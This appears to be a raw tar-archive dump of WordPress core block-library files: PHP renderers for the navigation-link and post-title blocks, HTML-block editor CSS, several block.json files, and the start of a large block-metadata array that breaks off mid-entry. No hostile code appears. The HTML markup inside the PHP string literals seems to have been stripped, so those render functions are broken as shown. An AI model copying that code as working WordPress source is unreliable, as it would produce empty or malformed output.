render_block_core_navigation_link( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft or if the ID does not exist. if ( $is_post_type && $navigation_link_has_id ) { $post = get_post( $attributes['id'] ); if ( ! $post || 'publish' !== $post->post_status ) { return ''; } } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $colors = block_core_navigation_link_build_css_colors( $block->context, $attributes ); $font_sizes = block_core_navigation_link_build_css_font_sizes( $block->context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $css_classes = trim( implode( ' ', $classes ) ); $has_submenu = count( $block->inner_blocks ) > 0; $is_active = ! empty( $attributes['id'] ) && ( get_the_ID() === $attributes['id'] ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) . ( $is_active ? ' current-menu-item' : '' ), 'style' => $style_attribute, ) ); $html = '
  • ' . ''; if ( isset( $attributes['label'] ) ) { $html .= wp_kses_post( $attributes['label'] ); } $html .= ''; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= ''; $html .= wp_kses_post( $attributes['description'] ); $html .= ''; } $html .= ''; // End anchor tag content. if ( isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'] && $has_submenu ) { // The submenu icon can be hidden by a CSS rule on the Navigation Block. $html .= '' . block_core_navigation_link_render_submenu_icon() . ''; } if ( $has_submenu ) { $inner_blocks_html = ''; foreach ( $block->inner_blocks as $inner_block ) { $inner_blocks_html .= $inner_block->render(); } $html .= sprintf( '
      %s
    ', $inner_blocks_html ); } $html .= '
  • '; return $html; } /** * Returns a navigation link variation * * @param WP_Taxonomy|WP_Post_Type $entity post type or taxonomy entity. * @param string $kind string of value 'taxonomy' or 'post-type'. * * @return array */ function build_variation_for_navigation_link( $entity, $kind ) { $title = ''; $description = ''; if ( property_exists( $entity->labels, 'item_link' ) ) { $title = $entity->labels->item_link; } if ( property_exists( $entity->labels, 'item_link_description' ) ) { $description = $entity->labels->item_link_description; } $variation = array( 'name' => $entity->name, 'title' => $title, 'description' => $description, 'attributes' => array( 'type' => $entity->name, 'kind' => $kind, ), ); // Tweak some value for the variations. $variation_overrides = array( 'post_tag' => array( 'name' => 'tag', 'attributes' => array( 'type' => 'tag', 'kind' => $kind, ), ), 'post_format' => array( // The item_link and item_link_description for post formats is the // same as for tags, so need to be overridden. 'title' => __( 'Post Format Link' ), 'description' => __( 'A link to a post format' ), 'attributes' => array( 'type' => 'post_format', 'kind' => $kind, ), ), ); if ( array_key_exists( $entity->name, $variation_overrides ) ) { $variation = array_merge( $variation, $variation_overrides[ $entity->name ] ); } return $variation; } /** * Register the navigation link block. * * @uses render_block_core_navigation() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation_link() { $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' ); // Use two separate arrays as a way to order the variations in the UI. // Known variations (like Post Link and Page Link) are added to the // `built_ins` array. Variations for custom post types and taxonomies are // added to the `variations` array and will always appear after `built-ins. $built_ins = array(); $variations = array(); if ( $post_types ) { foreach ( $post_types as $post_type ) { $variation = build_variation_for_navigation_link( $post_type, 'post-type' ); if ( $post_type->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } if ( $taxonomies ) { foreach ( $taxonomies as $taxonomy ) { $variation = build_variation_for_navigation_link( $taxonomy, 'taxonomy' ); if ( $taxonomy->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } register_block_type_from_metadata( __DIR__ . '/navigation-link', array( 'render_callback' => 'render_block_core_navigation_link', 'variations' => array_merge( $built_ins, $variations ), ) ); } add_action( 'init', 'register_block_core_navigation_link' ); blocks/post-title.php000064400000003171147177035020010646 0ustar00context['postId'] ) ) { return ''; } $post_ID = $block->context['postId']; $title = get_the_title(); if ( ! $title ) { return ''; } $tag_name = 'h2'; $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; if ( isset( $attributes['level'] ) ) { $tag_name = 0 === $attributes['level'] ? 'p' : 'h' . $attributes['level']; } if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $title = sprintf( '%4$s', get_the_permalink( $post_ID ), esc_attr( $attributes['linkTarget'] ), esc_attr( $attributes['rel'] ), $title ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); return sprintf( '<%1$s %2$s>%3$s', $tag_name, $wrapper_attributes, $title ); } /** * Registers the `core/post-title` block on the server. */ function register_block_core_post_title() { register_block_type_from_metadata( __DIR__ . '/post-title', array( 'render_callback' => 'render_block_core_post_title', ) ); } add_action( 'init', 'register_block_core_post_title' ); blocks/html/editor-rtl.css000064400000004514147177035020011576 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-library-html__edit .block-library-html__preview-overlay { position: absolute; width: 100%; height: 100%; top: 0; right: 0; } .block-library-html__edit .block-editor-plain-text { font-family: Menlo, Consolas, monaco, monospace !important; color: #1e1e1e !important; background: #fff !important; padding: 12px !important; border: 1px solid #1e1e1e !important; box-shadow: none !important; border-radius: 2px !important; max-height: 250px; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px !important; } @media (min-width: 600px) { .block-library-html__edit .block-editor-plain-text { font-size: 13px !important; } } .block-library-html__edit .block-editor-plain-text:focus { border-color: var(--wp-admin-theme-color) !important; box-shadow: 0 0 0 1px var(--wp-admin-theme-color) !important; outline: 2px solid transparent !important; }blocks/html/editor.css000064400000004513147177035020010776 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-library-html__edit .block-library-html__preview-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; } .block-library-html__edit .block-editor-plain-text { font-family: Menlo, Consolas, monaco, monospace !important; color: #1e1e1e !important; background: #fff !important; padding: 12px !important; border: 1px solid #1e1e1e !important; box-shadow: none !important; border-radius: 2px !important; max-height: 250px; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px !important; } @media (min-width: 600px) { .block-library-html__edit .block-editor-plain-text { font-size: 13px !important; } } .block-library-html__edit .block-editor-plain-text:focus { border-color: var(--wp-admin-theme-color) !important; box-shadow: 0 0 0 1px var(--wp-admin-theme-color) !important; outline: 2px solid transparent !important; }blocks/html/editor.min.css000064400000001337147177035020011561 0ustar00.block-library-html__edit .block-library-html__preview-overlay{position:absolute;width:100%;height:100%;top:0;left:0}.block-library-html__edit .block-editor-plain-text{font-family:Menlo,Consolas,monaco,monospace!important;color:#1e1e1e!important;background:#fff!important;padding:12px!important;border:1px solid #1e1e1e!important;box-shadow:none!important;border-radius:2px!important;max-height:250px;font-size:16px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid transparent!important}blocks/html/block.json000064400000000731147177035020010761 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/html", "title": "Custom HTML", "category": "widgets", "description": "Add custom HTML code and preview it as you edit.", "keywords": [ "embed" ], "textdomain": "default", "attributes": { "content": { "type": "string", "source": "html" } }, "supports": { "customClassName": false, "className": false, "html": false }, "editorStyle": "wp-block-html-editor" } blocks/html/editor-rtl.min.css000064400000001340147177035020012352 0ustar00.block-library-html__edit .block-library-html__preview-overlay{position:absolute;width:100%;height:100%;top:0;right:0}.block-library-html__edit .block-editor-plain-text{font-family:Menlo,Consolas,monaco,monospace!important;color:#1e1e1e!important;background:#fff!important;padding:12px!important;border:1px solid #1e1e1e!important;box-shadow:none!important;border-radius:2px!important;max-height:250px;font-size:16px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid transparent!important}blocks/post-author-biography/style.min.css000064400000000066147177035020014734 0ustar00.wp-block-post-author-biography{box-sizing:border-box}blocks/post-author-biography/style-rtl.css000064400000000073147177035020014747 0ustar00.wp-block-post-author-biography{ box-sizing:border-box; }blocks/post-author-biography/block.json000064400000001561147177035020014266 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/post-author-biography", "title": "Post Author Biography", "category": "theme", "description": "The author biography.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" } }, "usesContext": [ "postType", "postId" ], "supports": { "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/post-author-biography/style-rtl.min.css000064400000000066147177035020015533 0ustar00.wp-block-post-author-biography{box-sizing:border-box}blocks/post-author-biography/style.css000064400000000073147177035020014150 0ustar00.wp-block-post-author-biography{ box-sizing:border-box; }blocks/query-pagination-previous/block.json000064400000001551147177035020015164 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/query-pagination-previous", "title": "Previous Page", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays the previous posts page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "queryId", "query", "paginationArrow" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/blocks-json.php000064400000555532147177035020011003 0ustar00 array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/archives', 'title' => 'Archives', 'category' => 'widgets', 'description' => 'Display a date archive of your posts.', 'textdomain' => 'default', 'attributes' => array( 'displayAsDropdown' => array( 'type' => 'boolean', 'default' => false ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ), 'showPostCounts' => array( 'type' => 'boolean', 'default' => false ), 'type' => array( 'type' => 'string', 'default' => 'monthly' ) ), 'supports' => array( 'align' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-archives-editor' ), 'audio' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/audio', 'title' => 'Audio', 'category' => 'media', 'description' => 'Embed a simple audio player.', 'keywords' => array( 'music', 'sound', 'podcast', 'recording' ), 'textdomain' => 'default', 'attributes' => array( 'blob' => array( 'type' => 'string', 'role' => 'local' ), 'src' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'src', 'role' => 'content' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'id' => array( 'type' => 'number', 'role' => 'content' ), 'autoplay' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'autoplay' ), 'loop' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'loop' ), 'preload' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'preload' ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-audio-editor', 'style' => 'wp-block-audio' ), 'avatar' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/avatar', 'title' => 'Avatar', 'category' => 'theme', 'description' => 'Add a user’s avatar.', 'textdomain' => 'default', 'attributes' => array( 'userId' => array( 'type' => 'number' ), 'size' => array( 'type' => 'number', 'default' => 96 ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postType', 'postId', 'commentId' ), 'supports' => array( 'html' => false, 'align' => true, 'alignWide' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__experimentalBorder' => array( '__experimentalSkipSerialization' => true, 'radius' => true, 'width' => true, 'color' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true ) ), 'color' => array( 'text' => false, 'background' => false, '__experimentalDuotone' => 'img' ), 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'border' => '.wp-block-avatar img' ), 'editorStyle' => 'wp-block-avatar-editor', 'style' => 'wp-block-avatar' ), 'block' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/block', 'title' => 'Pattern', 'category' => 'reusable', 'description' => 'Reuse this design across your site.', 'keywords' => array( 'reusable' ), 'textdomain' => 'default', 'attributes' => array( 'ref' => array( 'type' => 'number' ), 'content' => array( 'type' => 'object', 'default' => array( ) ) ), 'providesContext' => array( 'pattern/overrides' => 'content' ), 'supports' => array( 'customClassName' => false, 'html' => false, 'inserter' => false, 'renaming' => false, 'interactivity' => array( 'clientNavigation' => true ) ) ), 'button' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/button', 'title' => 'Button', 'category' => 'design', 'parent' => array( 'core/buttons' ), 'description' => 'Prompt visitors to take action with a button-style link.', 'keywords' => array( 'link' ), 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'enum' => array( 'a', 'button' ), 'default' => 'a' ), 'type' => array( 'type' => 'string', 'default' => 'button' ), 'textAlign' => array( 'type' => 'string' ), 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'href', 'role' => 'content' ), 'title' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a,button', 'attribute' => 'title', 'role' => 'content' ), 'text' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'a,button', 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'target', 'role' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'rel', 'role' => 'content' ), 'placeholder' => array( 'type' => 'string' ), 'backgroundColor' => array( 'type' => 'string' ), 'textColor' => array( 'type' => 'string' ), 'gradient' => array( 'type' => 'string' ), 'width' => array( 'type' => 'number' ) ), 'supports' => array( 'anchor' => true, 'splitting' => true, 'align' => false, 'alignWide' => false, 'color' => array( '__experimentalSkipSerialization' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'reusable' => false, 'shadow' => array( '__experimentalSkipSerialization' => true ), 'spacing' => array( '__experimentalSkipSerialization' => true, 'padding' => array( 'horizontal', 'vertical' ), '__experimentalDefaultControls' => array( 'padding' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), '__experimentalSelector' => '.wp-block-button .wp-block-button__link', 'interactivity' => array( 'clientNavigation' => true ) ), 'styles' => array( array( 'name' => 'fill', 'label' => 'Fill', 'isDefault' => true ), array( 'name' => 'outline', 'label' => 'Outline' ) ), 'editorStyle' => 'wp-block-button-editor', 'style' => 'wp-block-button' ), 'buttons' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/buttons', 'title' => 'Buttons', 'category' => 'design', 'allowedBlocks' => array( 'core/button' ), 'description' => 'Prompt visitors to take action with a group of button-style links.', 'keywords' => array( 'link' ), 'textdomain' => 'default', 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, '__experimentalExposeControlsToChildren' => true, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'spacing' => array( 'blockGap' => array( 'horizontal', 'vertical' ), 'padding' => true, 'margin' => array( 'top', 'bottom' ), '__experimentalDefaultControls' => array( 'blockGap' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-buttons-editor', 'style' => 'wp-block-buttons' ), 'calendar' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/calendar', 'title' => 'Calendar', 'category' => 'widgets', 'description' => 'A calendar of your site’s posts.', 'keywords' => array( 'posts', 'archive' ), 'textdomain' => 'default', 'attributes' => array( 'month' => array( 'type' => 'integer' ), 'year' => array( 'type' => 'integer' ) ), 'supports' => array( 'align' => true, 'color' => array( 'link' => true, '__experimentalSkipSerialization' => array( 'text', 'background' ), '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ), '__experimentalSelector' => 'table, th' ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-calendar' ), 'categories' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/categories', 'title' => 'Terms List', 'category' => 'widgets', 'description' => 'Display a list of all terms of a given taxonomy.', 'keywords' => array( 'categories' ), 'textdomain' => 'default', 'attributes' => array( 'taxonomy' => array( 'type' => 'string', 'default' => 'category' ), 'displayAsDropdown' => array( 'type' => 'boolean', 'default' => false ), 'showHierarchy' => array( 'type' => 'boolean', 'default' => false ), 'showPostCounts' => array( 'type' => 'boolean', 'default' => false ), 'showOnlyTopLevel' => array( 'type' => 'boolean', 'default' => false ), 'showEmpty' => array( 'type' => 'boolean', 'default' => false ), 'label' => array( 'type' => 'string', 'role' => 'content' ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ) ), 'usesContext' => array( 'enhancedPagination' ), 'supports' => array( 'align' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-categories-editor', 'style' => 'wp-block-categories' ), 'code' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/code', 'title' => 'Code', 'category' => 'text', 'description' => 'Display code snippets that respect your spacing and tabs.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'code', '__unstablePreserveWhiteSpace' => true ) ), 'supports' => array( 'align' => array( 'wide' ), 'anchor' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'width' => true, 'color' => true ) ), 'color' => array( 'text' => true, 'background' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-code' ), 'column' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/column', 'title' => 'Column', 'category' => 'design', 'parent' => array( 'core/columns' ), 'description' => 'A single column within a columns block.', 'textdomain' => 'default', 'attributes' => array( 'verticalAlignment' => array( 'type' => 'string' ), 'width' => array( 'type' => 'string' ), 'allowedBlocks' => array( 'type' => 'array' ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'supports' => array( '__experimentalOnEnter' => true, 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'button' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'shadow' => true, 'spacing' => array( 'blockGap' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => true, 'interactivity' => array( 'clientNavigation' => true ) ) ), 'columns' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/columns', 'title' => 'Columns', 'category' => 'design', 'allowedBlocks' => array( 'core/column' ), 'description' => 'Display content in multiple columns, with blocks added to each column.', 'textdomain' => 'default', 'attributes' => array( 'verticalAlignment' => array( 'type' => 'string' ), 'isStackedOnMobile' => array( 'type' => 'boolean', 'default' => true ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, 'heading' => true, 'button' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'blockGap' => array( '__experimentalDefault' => '2em', 'sides' => array( 'horizontal', 'vertical' ) ), 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowEditing' => false, 'default' => array( 'type' => 'flex', 'flexWrap' => 'nowrap' ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), 'shadow' => true ), 'editorStyle' => 'wp-block-columns-editor', 'style' => 'wp-block-columns' ), 'comment-author-name' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-author-name', 'title' => 'Comment Author Name', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the name of the author of the comment.', 'textdomain' => 'default', 'attributes' => array( 'isLink' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ), 'textAlign' => array( 'type' => 'string' ) ), 'usesContext' => array( 'commentId' ), 'supports' => array( 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-comment-author-name' ), 'comment-content' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-content', 'title' => 'Comment Content', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the contents of a comment.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'spacing' => array( 'padding' => array( 'horizontal', 'vertical' ), '__experimentalDefaultControls' => array( 'padding' => true ) ), 'html' => false ), 'style' => 